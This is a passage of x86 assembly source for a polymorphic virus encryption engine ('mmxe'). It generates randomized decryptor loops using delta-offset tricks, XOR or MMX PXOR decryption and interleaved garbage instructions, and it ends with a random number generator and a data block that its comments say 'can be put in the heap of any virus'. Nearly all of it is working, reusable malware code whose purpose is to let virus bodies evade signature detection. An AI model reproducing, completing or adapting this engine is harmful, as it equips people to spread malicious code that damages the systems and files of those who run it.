        inc     edi                             ; Fake data for temp. fill

        call    @@gen_garbage

        mov     al,0e9h                         ; RET
        stosb

        mov     dword ptr [ebp+@@ptrto2nd],edi
        xor     eax,eax
        stosd

        call    @@gen_garbage

        pop     ebx
        mov     edx,edi
        sub     edx,ebx
        dec     edx
        mov     byte ptr [ebx],dl

        inc     byte ptr [ebp+@@init_mmx?]

        or      word ptr [ebp+@@flags],_CHECK4MMX
        ret

; Generate a routine for get the pseudo delta-offset, which will look like
; this one:
;       CALL    @@1
;       [...]
;  @@1: POP     REG

@@gen_deltaoffset:
        mov     eax,10h
        call    r_range
        xchg    eax,ebx
        mov     al,0E8h
        stosb
        xor     eax,eax
        stosd
        mov     dword ptr [ebp+@@tmp_call],edi
        call    @@gen_garbage
        mov     ecx,dword ptr [ebp+@@tmp_call]
        mov     ebx,edi
        sub     ebx,ecx
        mov     [ecx-4],ebx
        mov     al,58h
        add     al,byte ptr [ebp+@@reg_delta]
        stosb
        mov     ebx,dword ptr [ebp+@@ptr_buffer]
        sub     ecx,ebx
        mov     dword ptr [ebp+@@fix1],ecx
        or      word ptr [ebp+@@flags],_DELTAOFFSET
        ret

; Generate a routine for put in the register used as counter the size of the
; code we want to decrypt

@@gen_loadsize:
        or      word ptr [ebp+@@flags],_LOADSIZE
        mov     eax,2
        call    r_range
        xchg    eax,ecx
        jecxz   @@gls_@@2
@@gls_@@1:
        mov     al,68h                          ; PUSH size
        stosb                                   ; POP reg_size
        mov     dword ptr [ebp+@@size_address],edi
        mov     eax,dword ptr [ebp+@@size2cryptd4]
        stosd
        call    @@gen_garbage
        mov     al,58h
        add     al,byte ptr [ebp+@@reg_counter]
        stosb
        ret
@@gls_@@2:
        movzx   eax,byte ptr [ebp+@@reg_counter]
        add     eax,0B8h                        ; MOV reg_size,size
        stosb
        mov     dword ptr [ebp+@@size_address],edi
        mov     eax,dword ptr [ebp+@@size2cryptd4]
        stosd
        ret

; Generate the code that will make the pointer register to point exactly to
; the beginning of the code we want to encrypt or decrypt

@@gen_loadpointer:
        mov     eax,LIMIT
        sub     eax,dword ptr [ebp+@@fix1]
        mov     dword ptr [ebp+@@fix2],eax

        mov     eax,03h
        call    r_range
        or      eax,eax
        jz      @@lp_@@3
        dec     eax
        jz      @@lp_@@2
@@lp_@@1:
        mov     al,8Dh                          ; LEA reg_ptr,[reg_delta+fix]
        stosb
        movzx   eax,byte ptr [ebp+@@reg_ptr2data]
        shl     al,3
        add     al,10000000b
        add     al,byte ptr [ebp+@@reg_delta]
        stosb
        jmp     @@lp_
@@lp_@@2:
        mov     al,8Bh                          ; MOV reg_ptr,reg_delta
        stosb                                   ; ADD reg_ptr,fix
        movzx   eax,byte ptr [ebp+@@reg_ptr2data]
        shl     eax,3
        or      al,byte ptr [ebp+@@reg_delta]
        or      al,11000000b
        stosb
        call    @@gen_garbage
        mov     al,81h
        stosb
        mov     al,0C0h
        or      al,byte ptr [ebp+@@reg_ptr2data]
        stosb
        jmp     @@lp_
@@lp_@@3:
        call    @@clear_mask                    ; MOV reg_mask,fix2
        call    @@get_register                  ; LEA reg_ptr,[reg_mask+reg_delta+(fix+fix2)]
        mov     byte ptr [ebp+@@reg_mask],al

        add     al,0B8h
        stosb
        call    random
        stosd

        push    eax
        call    @@gen_garbage
        pop     edx

        sub     dword ptr [ebp+@@fix2],edx

        mov     al,8Dh
        stosb
        movzx   eax,byte ptr [ebp+@@reg_ptr2data]
        shl     eax,3
        or      al,10000100b
        stosb
        movzx   eax,byte ptr [ebp+@@reg_mask]
        shl     eax,3
        or      al,byte ptr [ebp+@@reg_delta]
        stosb

@@lp_:
        mov     eax,dword ptr [ebp+@@fix2]
        stosd
        or      word ptr [ebp+@@flags],_LOADPOINTER
        ret

; Put in the register used as key the number used for the encryption of the
; virus code.

@@gen_loadkey:
        mov     eax,2
        call    r_range
        xchg    eax,ecx
        jecxz   @@glk_@@2
@@glk_@@1:
        mov     al,68h                          ; PUSH enc_key
        stosb                                   ; POP reg_key
        mov     eax,dword ptr [ebp+@@enc_key]
        stosd
        call    @@gen_garbage
        mov     al,58h
        add     al,byte ptr [ebp+@@reg_key]
        stosb
        or      word ptr [ebp+@@flags],_LOADKEY
        ret
@@glk_@@2:                                      ; MOV key_reg,enc_key
        movzx   eax,byte ptr [ebp+@@reg_key]
        add     eax,0B8h
        stosb
        mov     eax,dword ptr [ebp+@@enc_key]
        stosd
        or      word ptr [ebp+@@flags],_LOADKEY
        ret

; Generate the code for pass the encryption key to an MMX register

@@gen_passkey2mmx:
        mov     ax,6E0Fh                        ; MOV mmx_key,reg_key
        stosw
        movzx   eax,byte ptr [ebp+@@mmx_key]
        shl     eax,3
        or      al,byte ptr [ebp+@@reg_key]
        or      al,11000000b
        stosb
        or      word ptr [ebp+@@flags],_PASSKEY2MMX
        ret

; Just for know where we must loop the decryptor

@@getloopaddress:
        mov     dword ptr [ebp+@@l00paddress],edi
        ret

; Pass the dword of code we are decrypting to the MMX register used for that
; matter

@@gen_passptr2mmx:
        mov     ax,6E0Fh                        ; MOV mmx_ptr,[reg_ptr]
        stosw
        movzx   eax,byte ptr [ebp+@@mmx_ptr2data]
        shl     eax,3
        or      al,byte ptr [ebp+@@reg_ptr2data]
        stosb
        or      word ptr [ebp+@@flags],_PASSPTR2MMX
        ret

; Generate the MMX encryption opcode:
; PXOR

@@gen_crypt_instructions:
        mov     ax,0EF0Fh                          ; PXOR mmx_ptr,mmx_key
        stosw
        movzx   eax,byte ptr [ebp+@@mmx_ptr2data]
        shl     eax,3
        or      al,byte ptr [ebp+@@mmx_key]
        or      al,11000000b
        stosb
        or      word ptr [ebp+@@flags],_CRYPT
        ret

; Generate the alternative method of MMX encryption code:
; PXOR = XOR

@@gen_non_mmx_crypt_instructions:
        mov     ax,0031h                        ; XOR [reg_ptr],reg_key
        movzx   ebx,byte ptr [ebp+@@reg_key]
        shl     ebx,3
        or      bl,byte ptr [ebp+@@reg_ptr2data]
        or      ah,bl
        stosw
        ret

; Generate the code that will pass the already decrypted data to its original
; position

@@gen_passmmx2ptr:
        mov     ax,7E0Fh                        ; MOVD [reg_ptr],(mmx_ptr xor mmx_key)
        stosw
        movzx   eax,byte ptr [ebp+@@mmx_ptr2data]
        shl     eax,3
        or      al,byte ptr [ebp+@@reg_ptr2data]
        stosb
        or      word ptr [ebp+@@flags],_PASSMMX2PTR
        ret

; Select the order between increase pointer and decrease counter

@@gen_incpointer_deccounter:
        mov     eax,2
        call    r_range
        xchg    eax,ecx
        jecxz   @@gdc_gip
@@gip_gdc:
        call    @@gen_incpointer
        call    @@gen_some_garbage
        call    @@gen_deccounter
        ret
@@gdc_gip:
        call    @@gen_deccounter
        call    @@gen_some_garbage
        call    @@gen_incpointer
        ret

; Generate the code for make the pointer register to point to the next dword

@@gen_incpointer:
	mov     eax,5
	call    r_range
	xchg    eax,ecx
        jecxz   @@gip_@@2
	dec     ecx
        jz      @@gip_@@3
	dec     ecx
        jz      @@gip_@@4
	dec     ecx
        jnz     @@gip_@@1
        jmp     @@gip_@@5

@@gip_@@1:
        mov     bl,4                            ; ADD reg_ptr,4
        call    @@gip_AddIt
        jmp     @@gip_EXIT

@@gip_@@2:
	mov     eax,2                   
	call    r_range
	xchg    eax,ecx
        jecxz   @@gip_@@2_@@2
@@gip_@@2_@@1:
        mov     bl,3                            ; ADD reg_ptr,3
        call    @@gip_AddIt

        call    @@gen_garbage

        mov     bl,1                            ; INC reg_ptr
        call    @@gip_IncIt
        jmp     @@gip_@@2_EXIT
@@gip_@@2_@@2:
        mov     bl,1                            ; INC reg_ptr
        call    @@gip_IncIt

        call    @@gen_garbage

	mov     bl,3
        call    @@gip_AddIt                     ; ADD reg_ptr,3
@@gip_@@2_EXIT:
        jmp     @@gip_EXIT

@@gip_@@3:
	mov     eax,2
	call    r_range
	xchg    eax,ecx
        jecxz   @@gip_@@3_@@2
@@gip_@@3_@@1:
        mov     bl,2                            ; ADD reg_ptr,2
        call    @@gip_AddIt

        call    @@gen_garbage

        mov     bl,2                            ; INC reg_ptr
        call    @@gip_IncIt                     ; INC reg_ptr
        jmp     @@gip_@@2_EXIT
@@gip_@@3_@@2:
        mov     bl,2                            ; INC reg_ptr
        call    @@gip_IncIt                     ; INC reg_ptr

        call    @@gen_garbage

        mov     bl,2                            ; ADD reg_ptr,2
        call    @@gip_AddIt
        jmp     @@gip_@@2_EXIT

@@gip_@@4:
	mov     eax,2
	call    r_range
	xchg    eax,ecx
        jecxz   @@gip_@@4_@@2
@@gip_@@4_@@1:
        mov     bl,1                            ; ADD reg_ptr,1
        call    @@gip_AddIt                     ; INC reg_ptr

        call    @@gen_garbage

        mov     bl,3                            ; INC reg_ptr
        call    @@gip_IncIt                     ; INC reg_ptr
        jmp     @@gip_@@2_EXIT
@@gip_@@4_@@2:
        mov     bl,1                            ; INC reg_ptr
        call    @@gip_IncIt                     ; INC reg_ptr

        call    @@gen_garbage

        mov     bl,3                            ; INC reg_ptr
        call    @@gip_AddIt                     ; ADD reg_ptr,1
        jmp     @@gip_@@2_EXIT

@@gip_@@5:                                      ; INC reg_ptr
        mov     bl,4                            ; INC reg_ptr
        call    @@gip_IncIt                     ; INC reg_ptr
                                                ; INC reg_ptr

@@gip_EXIT:
        or      word ptr [ebp+@@flags],_INCPOINTER
	ret

@@gip_AddIt:
	mov     al,83h
	stosb
        mov     al,byte ptr [ebp+@@reg_ptr2data]
	or      al,11000000b
	stosb
	mov     al,bl
	stosb
	ret

@@gip_IncIt:
	movzx   ecx,bl
	mov     al,40h
        add     al,byte ptr [ebp+@@reg_ptr2data]
@@gip_II_Loop:
	stosb
        push    ecx eax
        call    @@gen_garbage
        pop     eax ecx
        loop    @@gip_II_Loop
	ret

; Generate the code that will decrease in one unit the counter

@@gen_deccounter:
        mov     eax,3
        call    r_range
        xchg    eax,ecx
        jecxz   @@gdc_@@2
        dec     ecx
        jecxz   @@gdc_@@3
@@gdc_@@1:
        mov     al,83h                          ; SUB reg_size,1
        stosb
        mov     al,byte ptr [ebp+@@reg_counter]
        or      al,11101000b
        stosb
        mov     al,1
        stosb
        jmp     @@gdc_EXIT
@@gdc_@@2:
        mov     al,48h                          ; DEC reg_size
        add     al,byte ptr [ebp+@@reg_counter]
        stosb
        jmp     @@gdc_EXIT
@@gdc_@@3:
        mov     al,83h                          ; ADD reg_size,-1
        stosb
        mov     al,byte ptr [ebp+@@reg_counter]
        or      al,11000000b
        stosb
        mov     al,0FFh
        stosb
@@gdc_EXIT:
        or      word ptr [ebp+@@flags],_DECCOUNTER
        ret

; Generate the loop-alike thingy

@@gen_loop:
        mov     eax,04h
        call    r_range
        or      eax,eax
        jz      @@gl_@@3
        dec     eax
        jz      @@gl_@@2
        dec     eax
        jz      @@gl_@@1
@@gl_@@0:
        mov     al,83h                          ; CMP reg_size,00h
        stosb
        movzx   eax,byte ptr [ebp+@@reg_counter]
        or      al,11111000b
        stosb
        xor     eax,eax
        stosb
        jmp     @@gl_dojnz
@@gl_@@1:
        mov     al,83h                          ; CMP reg_size,-1
        stosb
        movzx   eax,byte ptr [ebp+@@reg_counter]
        or      al,11111000b
        stosb
        xor     eax,eax
        dec     eax
        stosb
        mov     eax,dword ptr [ebp+@@size_address]
        dec     dword ptr [eax]
        jmp     @@gl_dojnz
@@gl_@@2:
        mov     al,0Bh                          ; OR reg_size,reg_size
        stosb
        movzx   eax,byte ptr [ebp+@@reg_counter]
        shl     eax,3
        or      al,byte ptr [ebp+@@reg_counter]
        or      al,11000000b
        stosb       
        jmp     @@gl_dojnz
@@gl_@@3:
        mov     al,85h
        stosb
        movzx   eax,byte ptr [ebp+@@reg_counter] ; TEST reg_size,reg_size
        shl     eax,3
        or      al,byte ptr [ebp+@@reg_counter]
        or      al,11000000b
        stosb
        mov     eax,dword ptr [ebp+@@size_address]
        dec     dword ptr [eax]
@@gl_dojnz:
        mov     ax,850Fh                        ; JNZ LOOP_ADDRESS
        stosw
        mov     eax,dword ptr [ebp+@@l00paddress]
        sub     eax,edi
        sub     eax,00000004h
        stosd
        or      word ptr [ebp+@@flags],_LOOP
        ret

; --- Garbage generator's table

@@gbgtbl        label   byte
        dd      offset (@@do_anything)  ; Oh, my lazy engine! :)
        dd      offset (@@gen_arithmetic_reg32_reg32)
        dd      offset (@@gen_arithmetic_reg32_imm32)
        dd      offset (@@gen_arithmetic_eax_imm32)
        dd      offset (@@gen_mov_reg32_imm32)
        dd      offset (@@gen_mov_reg8_imm8)
        dd      offset (@@gen_call_to_subroutine)
        dd      offset (@@gen_push_garbage_pop)
        dd      offset (@@gen_zer0_reg)
        dd      offset (@@gen_arithmetic_reg32_reg32)
        dd      offset (@@gen_arithmetic_reg32_imm32)
        dd      offset (@@gen_arithmetic_eax_imm32)
        dd      offset (@@gen_mov_reg32_imm32)
        dd      offset (@@gen_mov_reg8_imm8)
@@non_mmx_gbg   equ     (($-offset @@gbgtbl)/4)
; MMX Garbage generatorz
        dd      offset (@@gen_onebyter) ; For security, it's here
        dd      offset (@@gen_mmx_group1)
        dd      offset (@@gen_mmx_group2)
        dd      offset (@@gen_mmx_group3)
        dd      offset (@@gen_mmx_movq_mm?_mm?)
        dd      offset (@@gen_mmx_movd_mm?_reg32)
@@s_gbgtbl      equ     (($-offset @@gbgtbl)/4)

; MMX version

@@after_looptbl label   byte
        dd      offset (@@gen_passptr2mmx)        ;\
        dd      offset (@@gen_crypt_instructions) ; >- Must follow this order
        dd      offset (@@gen_passmmx2ptr)        ;/
        dd      offset (@@gen_incpointer_deccounter)
        dd      offset (@@gen_loop)
@@s_aftlooptbl  equ     (($-offset @@after_looptbl)/4)

; Non MMX version

@@after_l00ptbl label   byte
        dd      offset (@@gen_non_mmx_crypt_instructions)
        dd      offset (@@gen_incpointer_deccounter)
        dd      offset (@@gen_loop)
@@s_aftl00ptbl  equ     (($-offset @@after_l00ptbl)/4)

mmxe_end        label   byte
mmxe            endp

; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; Random procedures 
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; RANDOM
;
; input:
;       Nothing.
; output:
;       EAX = Random number
;

random          proc                            ; Thanx MDriller! ;)
        push    ecx
        mov     eax,dword ptr [ebp+rnd_seed1]
        dec     dword ptr [ebp+rnd_seed1]
        xor     eax,dword ptr [ebp+rnd_seed2]
        mov     ecx,eax
        rol     dword ptr [ebp+rnd_seed1],cl
        add     dword ptr [ebp+rnd_seed2],eax
        adc     eax,dword ptr [ebp+rnd_seed2]
        add     eax,ecx
        ror     eax,cl
        not     eax
        sub     eax,3
        xor     dword ptr [ebp+rnd_seed2],eax
        xor     eax,dword ptr [ebp+rnd_seed3]
        rol     dword ptr [ebp+rnd_seed3],1
        sub     dword ptr [ebp+rnd_seed3],ecx
        sbb     dword ptr [ebp+rnd_seed3],4
        inc     dword ptr [ebp+rnd_seed2]
        pop     ecx
        ret
random          endp

; R_RANGE
;
; input:
;       EAX = Number of possible random numbers
; output:
;       EAX = Number between 0 and (EAX-1)

r_range         proc
        push    ecx
        push    edx
        mov     ecx,eax
        call    random
        xor     edx,edx
        div     ecx
        mov     eax,edx
        pop     edx
        pop     ecx
        ret
r_range         endp

mmxe_data       label   byte                    ; This data can be put in the
                                                ; heap of any virus

random_seed     label   byte
rnd_seed1       dd      00000000h
rnd_seed2       dd      00000000h
rnd_seed3       dd      00000000h

; Registers used

@@reg_key       db      00h
@@reg_ptr2data  db      00h
@@reg_counter   db      00h
@@reg_delta     db      00h
@@reg_mask      db      00h

@@mmx_ptr2data  db      00h
@@mmx_key       db      00h

@@init_mmx?     db      00h

@@ptr_data2enc  dd      00000000h
@@ptr_buffer    dd      00000000h
@@size2enc      dd      00000000h
@@size2cryptd4  dd      00000000h
@@tmp_call      dd      00000000h
@@fix1          dd      00000000h
@@fix2          dd      00000000h
@@enc_key       dd      00000000h
@@l00paddress   dd      00000000h
@@size_address  dd      00000000h
@@ptrto2nd      dd      00000000h
@@flags         dw      0000h
@@recursion     db      00h

end     fakehost




